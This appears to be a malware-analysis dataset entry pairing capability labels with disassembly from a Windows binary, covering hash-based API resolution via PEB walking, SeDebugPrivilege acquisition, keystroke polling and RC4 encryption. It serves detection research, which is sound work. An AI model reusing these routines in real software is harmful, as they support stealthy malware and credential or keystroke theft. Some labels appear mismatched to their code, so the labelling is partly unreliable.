joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403af7
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x403b44
mov al, cl
cmp al, 0x61
jb 0x403b1f
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x403b44
mov al, cl
cmp al, 0x61
jb 0x403b37
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x403b10
cmp edx, dword [esp + 0x18]
je 0x403b54
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x403b09
xor eax, eax
jmp 0x403b57
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x403b5f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x403c46
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x403c4c
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x403bab
cmp al, 0x61
jb 0x403ba3
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x403b96
cmp edx, dword [esp + 0x14]
je 0x403bbb
dec ecx
jne 0x403b8b
xor eax, eax
jmp 0x403c46
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x403c46
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x403c46
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x403bf7
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x403c06
jmp 0x403bee
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00403af7
test eax, eax
je 0x403c46
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x403c41
cmp al, 0x61
jb 0x403c39
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x403c2c
call fcn.00403b5f
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x403c64
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x403c64
sub edx, ecx
mov ecx, edx
jmp 0x403bbb
xor eax, eax
jmp 0x403c46
Function at 0x404e3f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00407c13
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00407c13
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0xc], 0
jne 0x404edf
mov dword [ebp - 0x18], esp
mov eax, 0x1d
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x404edc
push 0x46
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 0x1e
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x404f15
push 0x75
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 0x1f
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x404f4d
push 0xa2
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push 0
mov eax, 0x20
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x404f83
push 0xcc
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0x21
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x40501c
push 0x1dc
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 0x1c
call fcn.00407c31
cmp dword [ebp - 0x18], esp
je 0x40504b
push 0x21c
push 0x401203c
push 6
call fcn.00407c1f
add esp, 0xc
mov eax, dword [ebp - 0x14]
jmp 0x405053
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00407c0d
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.00407c0d
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x405836
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x405864
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40585b
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x405853
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x405885
mov esp, ebp
pop ebp
ret

Function at 0x405889
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x4058f5
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x405922
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x405911
xor ecx, eax
xor edx, ebx
dec edi
jne 0x405902
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x405948
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x4058e9
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x405974
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405fa9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x405fb9
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 0
jle 0x40600e
push dword [ebp + 8]
call fcn.004061ba
mov dword [ebp - 0x24], eax
cmp word [ebp - 0x24], 0x5a4d
jne 0x40600e
xor eax, eax
jmp 0x406013
mov eax, 1
test eax, eax
je 0x406025
mov eax, 0
jmp 0x4061b4
push 0x3c
push dword [ebp + 8]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.004061d6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4550
jne 0x406080
push 0x7c
push dword [ebp - 4]
call fcn.004061fc
push eax
call fcn.004061d6
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x406080
xor eax, eax
jmp 0x406085
mov eax, 1
test eax, eax
je 0x406097
mov eax, 0
jmp 0x4061b4
push 0x78
push dword [ebp - 4]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
mov dword [ebp - 8], eax
push 0x20
push dword [ebp - 8]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
mov dword [ebp - 0xc], eax
push 0x18
push dword [ebp - 8]
call fcn.004061fc
push eax
call fcn.004061d6
mov dword [ebp - 0x10], eax
push 1
push dword [ebp - 0x10]
call fcn.00406223
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x4061a7
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call fcn.004061fc
mov dword [ebp - 0x14], eax
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call fcn.0040624a
test eax, eax
je 0x40618a
push 0x1c
push dword [ebp - 8]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
mov dword [ebp - 0x24], eax
push 4
push dword [ebp - 0x10]
call fcn.0040627e
push eax
push dword [ebp - 0x24]
call fcn.004061fc
push eax
call fcn.004061d6
push eax
push dword [ebp + 8]
call fcn.004061fc
jmp 0x4061b4
push dword [ebp - 0x14]
call fcn.004062a6
push eax
push dword [ebp - 0x18]
call fcn.004061fc
mov dword [ebp - 0x18], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x406113
add esp, 0xc
mov eax, 0
jmp 0x4061b4
mov esp, ebp
pop ebp
ret 8
Function at 0x410c00
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b05eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a2797
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x410c82
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049fc16
mov eax, dword [eax]
push 0x4fecbc
push eax
call fcn.00492224
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a2a22
test bl, bl
je 0x410c82
push 0x4fecbc
lea ecx, [esp + 0xc]
call fcn.004a2dfe
push 0x4fecc8
lea ecx, [esp + 0xc]
call fcn.004a2dfe
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x410cbe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a2a22
jmp 0x410d89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x410d42
lea edx, [esp + 0x7c]
push 0x4fecc4
push edx
call fcn.00492224
add esp, 8
test eax, eax
je 0x410d42
lea eax, [esp + 0x7c]
push 0x4fecc0
push eax
call fcn.00492224
add esp, 8
test eax, eax
je 0x410d42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410cd2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a2a22
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x411ff0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x412052
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x412060
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b074b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x50bcd4]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x412198
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4120c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a2a22
xor eax, eax
jmp 0x41220f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a2bab
push esi
lea ecx, [esp + 0xc]
call fcn.004a2e3a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4fed0c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4121ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00411ff0
test eax, eax
jne 0x4121ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00411ff0
test eax, eax
jne 0x4121ed
lea eax, [esp + 0x14]
push 0x4fece8
push eax
call fcn.00493340
mov esi, eax
add esp, 8
test esi, esi
jne 0x4121cc
lea ecx, [esp + 0x14]
push 0x4fece4
push ecx
call fcn.004932c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4121cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4121cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a2b5b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4120de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a2a22
xor eax, eax
jmp 0x41220f
mov byte [esi], 0
push 0x4fece0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004a2a22
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x425b20
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x425b8e
cmp si, 0x69
ja 0x425b8e
add esi, 0xffd0
cmp si, 0x11
je 0x425b5e
push 0x11
call edi
test ax, ax
jge 0x425b5e
or esi, 0x2000
cmp si, 0x10
je 0x425b73
push 0x10
call edi
test ax, ax
jge 0x425b73
or esi, 0x4000
cmp si, 0x12
je 0x425b88
push 0x12
call edi
test ax, ax
jge 0x425b88
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x425b9b
mov esi, 0xbd
jmp 0x425b4f
cmp si, 0x6e
jne 0x425ba8
mov esi, 0xbe
jmp 0x425b4f
cmp si, 0x6f
jne 0x425b49
mov esi, 0xbf
jmp 0x425b4f

Function at 0x4273f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x51cc38]
xor edx, edx
cmp eax, edx
jne 0x427416
xor eax, eax
mov byte [eax + 0x51cb38], al
inc eax
cmp eax, 0x100
jl 0x4273fe
mov dword [0x51cc38], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x51cb38
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4274a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42747a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x427448
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x427520
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x427573
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42755a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e580
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42e718
cmp ebp, ebx
jle 0x42e718
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x42e5de
dec eax
or eax, 0xfffffff8
inc eax
je 0x42e5e5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42e5f4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42e5fb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004a2763
add esp, 4
cmp eax, ebx
je 0x42e61c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004a2763
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42e70e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42e6f5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42e6e1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42e6d6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42e6e4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42e6e4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42e680
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42e671
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x431c30
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b2238
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x431c69
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004aa9a7
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004aaa2f
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00431cf0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004aaa6c
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x436360
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4b2a68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00436ee0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x436409
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.00435ff0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.004a96fc
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.0044cb60
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.004a976e
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14